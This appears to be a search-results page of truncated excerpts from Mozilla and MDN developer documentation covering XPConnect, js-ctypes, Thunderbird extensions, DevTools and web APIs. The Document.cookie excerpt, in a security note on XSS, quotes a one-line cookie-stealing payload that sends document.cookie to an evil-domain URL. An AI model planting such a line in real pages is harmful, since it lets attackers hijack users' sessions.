JavaScript function object that gets invoked zero or more times, after the loadstart event, but before any abort, error, or load events occur. Handling the events When the handler functions for these events are called, they receive as a parameter a ProgressEvent, which implements the ns...
nsIXPConnect
L_JS_EXCEPTIONS environment variable will override the value passed here. void setReportAllJSExceptions( in boolean reportAllJSExceptions ); Parameters reportAllJSExceptions Missing Description Exceptions thrown Missing Exception Missing Description setSafeJSContextForCurrentThread() Set fallback JSContext to use when xpconnect can't find an appropriate context to use to execute
JavaScript. Note: This method is DEPRECATED. Use nsIThreadJSContextStack::safeJSContext instead. void setSafeJSContextForCurrentThread( in JSContextPtr cx ); Parameters cx Missing Description Exceptions thrown Missing Exception Missing Description setSecurityManagerForJSContext() void setSecurityManagerForJSContext( in JSContextPtr aJSContext, in nsIXPCSecurityManager aManager, in P...
...ng Description aJSObj Missing Description aIID Missing Description result Missing Description Exceptions thrown Missing Exception Missing Description wrapNative() wrapNative() will create a new JSObject or return an existing one. The JSObject is returned inside a refcounted nsIXPConnectJSObjectHolder. As long as this holder is held the JSObject will be protected from collection by
JavaScript's garbage collector. It is a good idea to transfer the JSObject to some equally protected place before releasing the holder (i.e., use JS_SetProperty to make this object a property of some other JSObject). This method now correctly deals with cases where the passed in xpcom object already has an associated JSObject for the cases: 1) The xpcom object has already been wrapped for use in the same s...
...t for the cases: 1) The xpcom object has already been wrapped for use in the same scope as an nsIXPConnectWrappedNative. 2) The xpcom object is in fact an nsIXPConnectWrappedJS and thus already has an underlying JSObject. 3) The xpcom object implements nsIScriptObjectOwner; i.e., is an idlc style DOM object for which we can call GetScriptObject to get the JSObject it uses to represent itself into
JavaScript. It *might* be possible to QueryInterface the nsIXPConnectJSObjectHolder returned by the method into an nsIXPConnectWrappedNative or an nsIXPConnectWrappedJS. This method will never wrap the JSObject involved in an XPCNativeWrapper before returning. Returns: success: NS_OK failure: NS_ERROR_XPC_BAD_CONVERT_NATIVE NS_ERROR_XPC_CANT_GET_JSOBJECT_OF_DOM_OBJECT NS_ERROR_FAILURE. nsIXPConnectJSObj...
Using the clipboard
w where it's already loaded. Components.utils.import('resource://gre/modules/Services.jsm'); // Create a constructor for the built-in supports-string class. ...
...vor is added to the transferable. Next, we need to get the data from the clipboard: Services.clipboard.getData(trans, Services.clipboard.kGlobalClipboard); var str = {}; var strLength = {}; trans.getTransferData("text/unicode", str, strLength); The first line performs the opposite of setData. The data currently on the system clipboard is placed into the transferable. Next we create two
JavaScript objects which will hold the return values from getTransferData. Then we use getTransferData to retrieve the data from the transferable. We specify the flavor we would like to get. The data will be converted if it is not available in the desired flavor, and a conversion from an available flavor is possible. If you originally copied data of multiple flavors onto the clipboard, you can retrieve the...
... conversion from an available flavor is possible. If you originally copied data of multiple flavors onto the clipboard, you can retrieve the data in the best format necessary. For example, a textbox would accept "text/unicode" (or "text/plain") while a Composer window might accept HTML and image data. The variable str now holds the data from the clipboard. We need to convert the data back into a
JavaScript string from an XPCOM object. The code below can be used for this purpose: if (str) { var pastetext = str.value.QueryInterface(Ci.nsISupportsString).data; } Because the data from the transferable is an nsISupportsString, we need to convert it into a
JavaScript string. The property value of the object filled in by getTransferData, which is str in this case, provides the actual value of the obje...
wrappedJSObject
There are two kinds of XPConnect wrappers that support the wrappedJSObject property: XPCNativeWrappers which are used to protect the chrome code working with content objects. See XPCNativeWrapper for detailed documentation. Regular XPConnect wrappers which you can encounter, for example, when using XPCOM components implemented in JS. This article focuses on the latter kind of wrappers, which hide any properties or methods on the component that are not part of the supported interfaces as declared in xpidl. ...
...which hide any properties or methods on the component that are not part of the supported interfaces as declared in xpidl. The rest of this article demonstrates what XPConnect wrappers do and how wrappedJSObject can be used to bypass them. Example component To see how the wrappedJSObject property works, we need an example XPCOM component implemented in JS. See How to Build an XPCOM Component in
Javascript for details on creating one. For simplicity we omit the component registration code. Suppose we register the component below with the @myself.com/my-component;1 contract. // constructor function HelloWorld() { }; HelloWorld.prototype = { hello: function() { return "Hello World!"; }, QueryInterface: function(aIID) { if (!aIID.equals(Components.interfaces.nsISupports) && ...
...This also makes the public interface of the component clearer and provides protection for the component's internal data. Calling QueryInterface on the wrapper works, because it is defined in the nsISupports interface, and the wrapper knows the underlying object implements nsISupports: > comp.QueryInterface(Compon...
Mozilla technologies
code for all Mozilla projects hosted in the Mercurial repositories can be searched and viewed online using Searchfox, a fast indexed search engine that runs on AWS.XML ExtrasThe XML Extras module contains several features that allow developers to treat XML as data i.e. not as just another document format. ...
...mponent and exposes its XML-as-data features both to
JavaScript and C++/XPCOM users. The XML Extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds.XPCOMXPCOM is a cross platform component object model, similar to Microsoft COM. ...
...ed in the browser installers so it is available in the nightly builds.XPCOMXPCOM is a cross platform component object model, similar to Microsoft COM. It has multiple language bindings, allowing XPCOM components to be used and implemented in
JavaScript, Java, and Python in addition to C++.XPIDLXPIDL is an Interface Description Language used to specify XPCOM interface classes.Xray visionGecko runs
JavaScript from a variety of different sources and at a variety of different privilege levels.XSLT 2.0Although XSLT 2.0 is not natively supported in Firefox, it is possible via Saxon-B (Java) or, more recently, Saxon-CE (
JavaScript) to perform XSLT 2.0.XTFThe eXtensible Tag Framework (XTF) allows adding support for new namespaces using XPCOM components to Mozilla (written in
JavaScript or C++). For example,...
Building a Thunderbird extension 1: introduction
Similar to Firefox, Thunderbird functionality can be enhanced and customized via extensions. Warning: This content is for older versions of Thunderbird. Much of it may no longer be relevant. See developer.thunderbird.net for newer information. This tutorial will introduce you to the components of a Thunderbird extension and will show you how to build your own. ...
...ll show you how to build your own. The tutorial has the following pages: Introduction (this page) The extension filesystem (setting up your local system) Install manifest (the install.rdf file that contains meta-information about the extension) Chrome manifest (list of packages and overlays) XUL (the XML user interface language that is used to modify the Thunderbird user interface) Adding
JavaScript (explains how to add some simple
JavaScript to your Thunderbird extension) Installing locally (enabling the extension on your local Thunderbird instance) Packaging (making a distribution package that contains the extension) Distributing (from your own site or from http://addons.mozilla.org/) This tutorial is compatible with Thunderbird versions 2,3 and 5. All Thunderbird builds are available...
...mized for writing code (also known as an Integrated Development Environment). These provide features like syntax highlighting and code coloration, indentation, auto-complete, etc. File archive utility: Any utility that is capable of creating archive files can be used. There are also a number of extension and applications that are useful for testing and debugging Thunderbird extensions, such as
JavaScript consoles and XPCOM inspectors. These are described on the page "Setting up an extension development environment". Documentation Thunderbird extensions (documentation overview) Firefox addons developer guide (many topics are applicable to Thunderbird) Mozilla cross-reference source code browser ("comm-central" contains the Thunderbird code repository) Community The Thunderbird development...
Building a Thunderbird extension 5: XUL
Warning: This content is for older versions of Thunderbird. Much of it may no longer be relevant. See developer.thunderbird.net for newer information. Thunderbird's user interface is written in XUL and
JavaScript. XUL is an XML grammar that provides user interface widgets like buttons, menus, toolbars, trees etc. We add widgets by inserting new XUL DOM elements into the application window and modify them using scripts and attaching event handlers. While XUL provides the elements of the user interface, actions are written in
JavaScript. For our first extension, we will add some text to the Thunderbird status bar. The status bar is implemented in a XUL file called messenger.xul, which can be found in the chrome/messenger/content/messenger folder which is packaged inside the omni.ja archive. ...
...the installation files. This also enables version independence between Thunderbird and Thunderbird extensions. Example XUL Overlay Document Create a new file called myhelloworld.xul within the content folder you created earlier with the following content: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/
javascript" src="chrome://myfirstext/content/overlay.js"/><!-- A reference to your
JavaScript file --> <statusbar id="status-bar"> <statusbarpanel id="my-panel" label="Date"/> </statusbar> </overlay> The <statusbar> widget named status-bar specifies the merge point within the application window that we want to attach to. When parsing our overlay file, the XUL engine will take all child elements of the...
...L document's <statusbar> tag. In the example above we have defined a new <statusbarpanel> item (that can be referred to as my-panel) which will create a new instance of this widget type and add it at the end of the statusbar. In Thunderbird it will appear as a label at the right side of Thunderbird's statusbar and display "Date". We have also added a <script> tag that contains a reference to the
JavaScript file overlay.js. In the next section you will learn how to use
JavaScript to modify your label so that it shows the current date. The overlay.js file will be created in a later section and your add-on will still work if the file is missing. For now you can ignore this line, but remember that this is how you reference a
JavaScript file. << PreviousNext >> ...
Creating a Custom Column
Unfortunately the new column doesn't have any data in it and it doesn't react to sort clicks on it... yet. The Column Handler Now that our column physically exists it's time to give it a bit of personality. The nsIMsgCustomColumnH...
...Unfortunately the new column doesn't have any data in it and it doesn't react to sort clicks on it... yet. The Column Handler Now that our column physically exists it's time to give it a bit of personality. The nsIMsgCustomColumnHandler Interface To handle a column we n...
...at the column will be sorted by isString(): return true / false Warning! Do not get confused between GetCellText() and GetSortString/LongForRow()! Though they sound similar you may not want to return the same value from both. ...
customDBHeaders Preference
in the latest code! ...
...This is the superfluous.js file referenced from within the superfluous_overlay.xul file: dump(" ~ ~ ~ ~ SUPERFLUOUS ~ ~ ~ ~ \n...
...s" persist="hidden ordinal width" currentView="unthreaded" flex="1" label="Superfluous" tooltiptext="Click to sort by Superfluous" /> </treecols> </tree> </overlay> You should insure that whatever id you use for the treecol you're adding matches the reference from your
javascript code (i.e. gDBView.addColumnHandler("colSuperfluous",columnHandler)).
Javascript Code Once again, other tutorials have demonstrated the general
javascript code used to populated columns with data from a message header, so I'm just including my file for reference. This is the superfluous.js file referenced from within the superfluous_overlay.xul file: dump(" ~ ~ ~ ~ SUPERFLUOUS ~ ~ ~ ~ \n"); var columnHandler = { getCellText: function(row, col) { //get the messa...
Using C struct and pointers
In this example, we show how to use C structs and pointers with js-ctypes. ...
...eter of this method is the name of the type, which corresponds to the name of the C struct. The second parameter is an array of field descriptors. Each field descriptor contains the name and field type of the corresponding field of the C struct. The call to StructType() returns a CType object, and we then apply the new operator to it to create a specific instance of this newly defined type - a
JavaScript representation of the C struct. Using C strings with js-ctypes A pointer to char in
JavaScript is declared as follows: var str = ctypes.PointerType(ctypes.char); Now imagine you call a C function that returns a C string and you want to modify the contents of this string. In the js-ctypes context, you can only operate on buffers of known capacity. Therefore, the size of the buffer must be spec...
... must be specified. Additionally, the js-ctypes pointer must be casted to reflect the size of the buffer: var ptr = ctypes.cast( str, ctypes.ArrayType( ctypes.char, buff_size ).ptr ); Here buff_size is of type ctypes.size_t. Once we have a ctypes char pointer that points to a buffer of known size, we modiify the contents of the memory block as follows: ptr.contents = String("Hello world from
JavaScript!!!"); String() adds the '\0' character. References This example is based on code found here. ...
ArrayType
ld contain. If you don't specify this parameter, the array's length is unspecified. Return value A CType represents the newly declared array type. Exceptions thrown TypeError type is not a CType, or type.size is undefined.If the length is specifed but if it is not a valid one,then it is also thrown RangeError The size of the resulting array can't be represented as both a size_t and as a
JavaScript number. Properties Property Type Description elementType CType The data type of the elements in an array type. Read only. length Number The number of elements in the array, or undefined if the array type doesn't have a specified length. Read only. Properties inherited from CType These properties are available on all CType objects. ...
...ach element in the array can be referenced by index using standard bracket notation, such as myArray[index]. Properties inherited from CData Property Type Description constructor CType The data type of the CData object, as a CType. Read only. Note: This is never ctypes.void_t or an array type with an unspecified length. value object The
JavaScript equivalent of the CData object's value. This will throw a TypeError exception if the value can't be converted. ArrayType CData Method_overview CData addressOfElement(idx) Methods inherited from CData CData address() String toSource() String toString() ArrayType CData Methods addressOfElement() Returns a new CData object of the appropria...
...) String toString() ArrayType CData Methods addressOfElement() Returns a new CData object of the appropriate pointer type, whose value points to the specified array element on which the method was called. CData addressOfElement( idx ); Parameters idx A numeric value indicating the offset into the array of the element just to return a pointer. If this value isn't a valid
JavaScript number that's also a valid index into the array, a TypeError exception is thrown. Return value A new CData object pointing to the specified element. The type of the returned object will be determined by ctypes.PointerType(theArrayType.constructor.elementType)). See Also CType CData Type conversion ...
Int64
You use the Int64 object to create and manipulate 64-bit signed integers. Note: It's important to note that the 64-bit integer objects created by Int64 are not Int64 objects; rather, they're opaque objects whose values you manipulate through the other methods on the Int64 object. See 64-bit integers for details. Syntax Creates and returns a new 64-bit signed integer. Int64 Int64( value ); Parameters value The value to assign the new 64-bit integer object. ...
... a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0X" followed by a hexadecimal number. The string is then converted into the corresponding 64-bit integer value. You can therefore use a string to represent a 64-bit value that is too large to represent as a 32-bit
JavaScript Number. Return value A new object representing the specified value. Exceptions thrown TypeError The specified value cannot be converted into a 64-bit integer. Either it's not a Number, String, or 64-bit integer object, or it's a string that is incorrectly formatted or contains a value outside the range that can be represented in 64 bits. This will also be thrown if the source value is a f...
...fied high and low order 32-bit values. Int64 join( high, low ); Parameters high The high-order 32 bits of the value to create. low The low-order 32 bits of the value to create. Return value A new 64-bit integer object comprised of the two values merged together. The returned value is (high << 32) + low. Exceptions thrown TypeError One or both of the specified numbers is not a
JavaScript number with an integral value. toSource() This method is for internal debugging use only. Warning: Do not rely on the value returned by this method, as it's subject to change at any time, depending on the debugging needs of the developers. toString() Returns a string representation of the object's numeric value. String toString( [radix] ); Parameters radix Optional The radix (base)...
StructType
ethod to assign it a non-opaque type later. See Opaque structures for further explanation and an example. Return value A CType object describing the newly created struct data type. Exceptions thrown TypeError The name is not a string, or one or more of the fields does not have a defined size. RangeError The size of the structure, in bytes, cannot be represented both as a size_t and as a
JavaScript Number. Describing fields The fields array is comprised of field descriptors, one for each field in the structure. Each field descriptor contains the field's name and its type, such as {'serialNumber': ctypes.int}. A complete field descriptor list might look like this: [ {'serialNumber': ctypes.int}, {'userName': ctypes.char.ptr} ] Properties Property Type Description ...
...Type CData Properties Every struct object has a getter and a setter for each member field of the structure. Properties inherited from CData Property Type Description constructor CType The data type of the CData object, as a CType. Read only. Note: This is never ctypes.void_t or an array type with an unspecified length. value object The
JavaScript equivalent of the CData object's value. This will throw a TypeError exception if the value can't be converted. StructType CData Method_overview CData addressOfField(name) Methods inherited from CData CData address() String toSource() String toString() StructType CData Methods addressOfField() Returns a new CData object of the appropriat...
... structure on which the method was called. See Working with strings for more information on how to convert strings. CData addressOfField( name ); Parameters name The name of the field whose address is to be returned. Return value A new CData object of the appropriate pointer type, whose value points to the contents of the specified field. Exceptions thrown TypeError name is not a
JavaScript string, or doesn't name a member field of the structure. See Also CType CData Type conversion ...
UInt64
You use the UInt64 object to create and manipulate 64-bit unsigned integers. Note: It's important to note that the 64-bit integer objects created by UInt64 are not UInt64 objects; rather, they're opaque objects whose values you manipulate through the other methods on the UInt64 object. See 64-bit integers for details. Syntax Creates and returns a new 64-bit unsigned integer. UInt64 UInt64( value ); Parameters value The value to assign the new 64-bit unsigned integer object. ...
... a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0X" followed by a hexadecimal number. The string is then converted into the corresponding 64-bit integer value. You can therefore use a string to represent a 64-bit value that is too large to represent as a 32-bit
JavaScript Number. Return value A new object representing the specified value. Exceptions thrown TypeError The specified value cannot be converted into a 64-bit integer. Either it's not a Number, String, or 64-bit integer object, or it's a string that is incorrectly formatted or contains a value outside the range that can be represented in 64 bits. This will also be thrown if the source value is a f...
...ied high and low order 32-bit values. UInt64 join( high, low ); Parameters high The high-order 32 bits of the value to create. low The low-order 32 bits of the value to create. Return value A new 64-bit integer object comprised of the two values merged together. The returned value is (high << 32) + low. Exceptions thrown TypeError One or both of the specified numbers is not a
JavaScript number with an integral value. toSource() This method is for internal debugging use only. Warning: Do not rely on the value returned by this method, as it's subject to change at any time, depending on the debugging needs of the developers. toString() Returns a string representation of the object's numeric value. String toString( [radix] ); Parameters radix Optional The radix (b...
Flash Activation: Browser Comparison - Plugins
Authoring Tips If a Flash element is very small, hidden, or covered by other content, users will probably not notice that Flash is required and will become confused. Even if the plugin element will eventually be hidden, pages should create the plugin element so that it's visible on the page, and should resize or hide it only after the user has activated the plugin. ...
...h="300" height="300"> <param name="callback" value="pluginCreated()"> </object> The callback parameter defined in the HTML can be called in Flash using its flash.external.ExternalInterface API. Using a script callback to determine when a plugin is activated Similarly, a site's script shouldn't attempt to script a plugin immediately upon creation. ...
...g a script callback to determine when a plugin is activated Similarly, a site's script shouldn't attempt to script a plugin immediately upon creation. Instead, the plugin object should call into a
JavaScript function upon creation. That function can then issue the call into the plugin, knowing that everything is set up and ready to go. ...
Debugger.Frame - Firefox Developer Tools
n that was accessible to the debuggee, but any further calls that function makes are treated as internal details, and omitted from the stack trace. If the non-debuggee function eventually calls back into debuggee code, then those frames are visible. (Note that the debuggee is not considered an "immediate caller" of handler methods it triggers. Even though the debuggee and debugger share the same
JavaScript stack, frames pushed for SpiderMonkey's calls to handler methods to report events in the debuggee are never considered visible frames.) Invocation functions and "debugger" frames Aninvocation function is any function in this interface that allows the debugger to invoke code in the debuggee: Debugger.Object.prototype.call, Debugger.Frame.prototype.eval, and so on. While invocation functions dif...
...he Debugger.Frame prototype object A Debugger.Frame instance inherits the following accessor properties from its prototype: type A string describing what sort of frame this is: "call": a frame running a function call. (We may not be able to obtain frames for calls to host functions.) "eval": a frame running code passed to eval. ...
... "baseline": a frame running in the unoptimizing, baseline JIT. "ion": a frame running in the optimizing JIT. "wasm": a frame running in WebAssembly baseline JIT. ...
Flame Chart - Firefox Developer Tools
But while the Call Tree organizes this data to show you where your program is spending most time in aggregate across the recording, the Flame Chart uses it to show you when in the recording particular functions are executing. ...
... But while the Call Tree organizes this data to show you where your program is spending most time in aggregate across the recording, the Flame Chart uses it to show you when in the recording particular functions are executing. ...
... But while the Call Tree organizes this data to show you where your program is spending most time in aggregate across the recording, the Flame Chart uses it to show you when in the recording particular functions are executing. ...
Frame rate - Firefox Developer Tools
o do in order to update and repaint the screen. Frame rate is most obviously applicable to animations: if the frame rate is too low, an animation will have a jerky appearance, while a faster frame rate will be smoother. But frame rate is also useful as a general measure of a site's responsiveness as the user interacts with it. For example, if moving the mouse over some page element triggers some
JavaScript that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame. If it takes too long for the browser to process the frame, then the browser will appear momentarily unresponsive (janky). Similarly, if scrolling through a page involves a lot of complex page updates and the browser can't keep up an acceptable frame rate, scrol...
... healthy, but there are three spots where frame rate collapses for tens of milliseconds. This would certainly cause a noticeable stutter for any animations that were playing in the page. The frame rate graph is correlated with the waterfall summary directly above it, and there we can see that the first two drops in the frame rate are correlated with orange bars, which denote time spent executing
JavaScript. If we select one of these slices of the recording, the main Waterfall view underneath it is zoomed into it, and we can see the function that's causing the problem: We have a
JavaScript function from a click event that's blocking the main thread for 170 milliseconds. Which function, though? Switch to the Flame Chart to see the call stack at that point: The offending function is called doP...
... blocking the main thread for 170 milliseconds. Which function, though? Switch to the Flame Chart to see the call stack at that point: The offending function is called doPointlessComputations(), and it's defined in "main.js". To fix it, we might consider splitting it into pieces and running the pieces inside requestAnimationFrame, or even running the entire function in a worker. The Intensive
JavaScript article shows how you can use strategies like this to fix responsiveness problems caused by long-running synchronous
JavaScript. ...
Tips - Firefox Developer Tools
split console; useful when debugging, or inspecting nodes In the command line: $0 references the currently selected node. $() is a shortcut to document.querySelector(). $$() returns an array with the results from document.querySelectorAll(). copy copies anything as a string. Right-click a node in the Inspector and click "Use in Console" to create a tempN variable for it. cd switches the
JavaScript evaluation context to a different iframe in the page. console.table() displays tabular data as table. help opens the MDN page describing the available commands. :screenshot <filename.png> --fullpage saves a screenshot to your downloads directory using the optional file name. If no filename is included, the file name will be in this format: Screen Shot date at time.png The --fullpage ...
...it as well. See Web Console Helpers for all parameters. In the console output: Click on the inspector icon () next to an element in the output to select it within the Inspector. Check "Enable persistent logs" in the settings to keep logged messages from before even after navigation. Check "Enable timestamps" in the settings to show timestamps besides the logged messages. Debugger Skip
JavaScript libraries in debugging sessions via the black box icon (). Press Ctrl+Alt+F to search in all scripts. Press Ctrl+D to search for a function definition. Press Ctrl+L to go to a specific line. Style Editor The black box icon () in the style sheet pane toggles the visibility of a style sheet. Click an @media rule to apply it in Responsive Design Mode. Click the import button () to import a...
...gle the display of CSS preprocessor files. Network Monitor Click the request summary to compare performance of cache vs. no-cache page loading. When a request is selected click "Edit and Resend" to modify its headers and send it again. Check "Enable persistent logs" in the settings to keep requests from before even after navigation. Hover the "js" icon within the "Cause" column to see the
JavaScript stack trace, which caused the request. Check "Disable HTTP Cache (when toolbox is open)" in the settings to disable the network cache while debugging network issues. Storage Inspector Right-click the column headers to open a menu allowing to toggle the display of the columns. Right-click an entry and click "Delete name" to delete it or "Delete All" to delete all entries. Select an entry t...
Firefox Developer Tools
This section contains detailed guides to all of the tools as well as information on how to debug Firefox for Android, how to extend DevTools, and how to debug the browser as a whole. If you have any feedback on DevTools, or want to contribute to the project, you can join the DevTools community. Note: If you are just getting started with web development and using developer tools, our learning docs will help you -- see Getting started with the Web and What are browser developer tools? for good starting points. ...
...per Tools settings. The menu also includes links to the documentation for Firefox Web Tools and the Mozilla Community. Closes the Developer Tools Page Inspector View and edit page content and layout. Visualise many aspects of the page including the box model, animations, and grid layouts. Web Console See messages logged by a web page and interact with the page using
JavaScript.
JavaScript Debugger Stop, step through, examine, and modify the
JavaScript running in a page. Network Monitor See the network requests made when a page is loaded. Performance Tools Analyze your site's general responsiveness,
JavaScript, and layout performance. Responsive Design Mode See how your website or app will look and behave on different devices and network type...
...nt page. Connecting to other browsers Connect the developer tools to Chrome on Android and Safari on iOS. Debugging the browser By default, the developer tools are attached to a web page or web app. But you can also connect them to the browser as a whole. This is useful for browser and add-on development. Browser Console See messages logged by the browser itself and by add-ons, and run
JavaScript code in the browser's scope. Browser Toolbox Attach the Developer Tools to the browser itself. Migrating from Firebug Firebug has come to the end of its lifespan (see Firebug lives on in Firefox DevTools for details of why), and we appreciate that some people will find migrating to another less familiar set of DevTools to be challenging. To ease a transition from Firebug to the Firefox deve...
CanvasRenderingContext2D.stroke() - Web APIs
de. The stroke is drawn using the non-zero winding rule, which means that path intersections will still get filled. Syntax void ctx.stroke(); void ctx.stroke(path); Parameters path A Path2D path to stroke. Examples A simple stroked rectangle This example creates a rectangle using the rect() method, and then draws it to the canvas using stroke(). HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); Result Re-stroking paths Typically, you'll want to call beginPath() for each new thing you want to stroke. If you don't, the previous sub-paths will remain part of the current path, and get stroked every time you call the stroke() method. In some cases, however, ...
....getContext('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); Result Re-stroking paths Typically, you'll want to call beginPath() for each new thing you want to stroke. If you don't, the previous sub-paths will remain part of the current path, and get stroked every time you call the stroke() method. In some cases, however, this may be the desired effect. HTML <canvas id="canvas"></canvas>
JavaScript This code strokes the first path three times, the second path two times, and the third path only once. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // First sub-path ctx.lineWidth = 26; ctx.strokeStyle = 'orange'; ctx.moveTo(20, 20); ctx.lineTo(160, 20); ctx.stroke(); // Second sub-path ctx.lineWidth = 14; ctx.strokeStyle = 'green'; ctx.moveTo(20, 80)...
... ctx.moveTo(20, 140); ctx.lineTo(280, 140); ctx.stroke(); Result Stroking and filling If you want to both stroke and fill a path, the order in which you perform these actions will determine the result. In this example, the square on the left is drawn with the stroke on top of the fill. The square on the right is drawn with the fill on top of the stroke. ...
Manipulating video using canvas - Web APIs
The document content The HTML document used to render this content is shown below. ...
... Canvas c1 is used to display the current frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green backgr...
...cript> </body> </html> The key bits to take away from this are: This document establishes two canvas elements, with the IDs c1 and c2. Canvas c1 is used to display the current frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green background in the video. The
JavaScript code is imported from a script named processor.js. The
JavaScript code The
JavaScript code in processor.js consists of three methods. Initializing the chroma-key player The doLoad() method is called when the XHTML document initially loads. This method's job is to prepare the variables needed by the chroma-key processing code, and to set up an event listener so we can detect when the user st...
Basic animations - Web APIs
In this chapter we will take a look at how to do some basic animations. Probably the biggest limitation is, that once a shape gets drawn, it stays that way. If we need to move it we have to redraw it and everything that was drawn before it. It takes a lot of time to redraw complex frames and the performance depends highly on the speed of the computer it's running on. ...
...ional image if (x > (CanvasXSize-imgW)) { ctx.drawImage(img, x - imgW + 1, y, imgW, imgH); } } // draw image ctx.drawImage(img, x, y,imgW, imgH); // amount to move x += dx; } Below is the <canvas> in which the image is scrolled. Note that the width and height specified here must match the values of the CanvasXZSize and CanvasYSize variables in the
JavaScript code. <canvas id="canvas" width="800" height="200"></canvas> Mouse Following Animation <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> <script> var cn; //= docume...
...w; height: 100vh; top: 0; left: 0; display: flex; flex-wrap: wrap; justify-content: space-around; opacity: 1; user-select: none } .keypress>div:hover { opacity: 1 } .touch { background: #8bc34a } .off { background: #f44336 } .hide { opacity: 0 } </style> </html>
Javascript function tmz() { var e = new Date(t), i = new Date, n = Math.abs(i.getMinutes() - e.getMinutes()), o = Math.abs(i.getSeconds() - e.getSeconds()); return n + " : " + o } function coll(t, e) { return t.x < e.x + e.w && t.x + t.w > e.x && t.y < e.y + e.h && t.h + t.y > e.y } function snake() { this.w = 15, this.h ...
console.log() - Web APIs
The string representations of each of these objects are appended together in the order listed and output. ...
...The string representations of each of these objects are appended together in the order listed and output. ...
...ch of these objects are appended together in the order listed and output. Please be warned that if you log objects in the latest versions of Chrome and Firefox what you get logged on the console is a reference to the object, which is not necessarily the 'value' of the object at the moment in time you call console.log(), but it is the value of the object at the moment you open the console. msg A
JavaScript string containing zero or more substitution strings. subst1 ... substN
JavaScript objects with which to replace substitution strings within msg. This gives you additional control over the format of the output. See Outputting text to the console in the documentation of console for details. Difference between log() and dir() You might ask yourself what's the difference between console.dir() a...
Document.cookie - Web APIs
omain=domain (e.g., 'example.com' or 'subdomain.example.com'). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included. Note: The domain must match the domain of the
JavaScript origin. Setting cookies to foreign domains will be silently ignored. ;max-age=max-age-in-seconds (e.g., 60*60*24*365 or 31536000 for a year) ;expires=date-in-GMTString-format If neither expires nor max-age specified it will expire at the end of session. When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout ...
...t always be the origin. The dash is considered part of the prefix. These flags are only settable with the secure attribute. Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the
JavaScript interpreter. Examples Example #1: Simple usage document.cookie = "name=oeschger"; document.cookie = "favorite_food=tripe"; function alertCookie() { alert(document.cookie); } <button onclick="alertCookie()">Show cookies</button> Example #2: Get a sample cookie named test2 document.cookie = "test1=Hello"; document.cookie = "test2=World"; const cookieValue = document.cookie .split('; ...
... web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application - (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through
Javascript. Read more about Cookies and Security. Notes Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage. You can delete a cookie by simply updating its expiration time to zero. Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is ...
Document.querySelector() - Web APIs
lector(selectors); Parameters selectors A DOMString containing one or more selectors to match. This string must be a valid CSS selector string; if it isn't, a SYNTAX_ERR exception is thrown. See Locating DOM elements using selectors for more about selectors and how to manage them. Note: Characters that are not part of standard CSS syntax must be escaped using a backslash character. Since
JavaScript also uses backslash escaping, be especially careful when writing string literals using these characters. See Escaping special characters for more information. Return value An HTMLElement object representing the first element in the document that matches the specified set of CSS selectors, or null is returned if there are no matches. If you need a list of all elements matching the specified se...
...t, the first element with that ID is returned. CSS pseudo-elements will never return any elements, as specified in the Selectors API. Escaping special characters To match against an ID or selectors that do not follow standard CSS syntax (by using a colon or space inappropriately, for example), you must escape the character with a backslash ("\"). ...
... elements, as specified in the Selectors API. Escaping special characters To match against an ID or selectors that do not follow standard CSS syntax (by using a colon or space inappropriately, for example), you must escape the character with a backslash ("\"). ...
Document.querySelectorAll() - Web APIs
atch against. This string must be a valid CSS selector string; if it's not, a SyntaxError exception is thrown. See Locating DOM elements using selectors for more information about using selectors to identify elements. Multiple selectors may be specified by separating them using commas. Note: Characters which are not part of standard CSS syntax must be escaped using a backslash character. Since
JavaScript also uses backslash escaping, special care must be taken when writing string literals using these characters. See Escaping special characters for more information. Return value A non-live NodeList containing one Element object for each element that matches at least one of the specified selectors or an empty NodeList in case of no matches. Note: If the specified selectors include a CSS pseudo...
...th property is 0), then no matches were found. Otherwise, you can simply use standard array notation to access the contents of the list. ...
...rySelectorAll(".highlighted"); highlightedItems.forEach(function(userItem) { deleteUser(userItem); }); User notes querySelectorAll() behaves differently than most common
JavaScript DOM libraries, which might lead to unexpected results. HTML Consider this HTML, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div>
JavaScript var select = document.querySelector('.select'); var inner = select.querySelectorAll('.outer .inner'); inner.length; // 1, not 0! In this example, when selecting .outer .inner in the context the <div> with the class select, the element with the class .inner is still found, even though .outer is not a descendant of the base element on which the search is performed (.select). By default, querySel...
Element.querySelectorAll() - Web APIs
atch against. This string must be a valid CSS selector string; if it's not, a SyntaxError exception is thrown. See Locating DOM elements using selectors for more information about using selectors to identify elements. Multiple selectors may be specified by separating them using commas. Note: Characters which are not part of standard CSS syntax must be escaped using a backslash character. Since
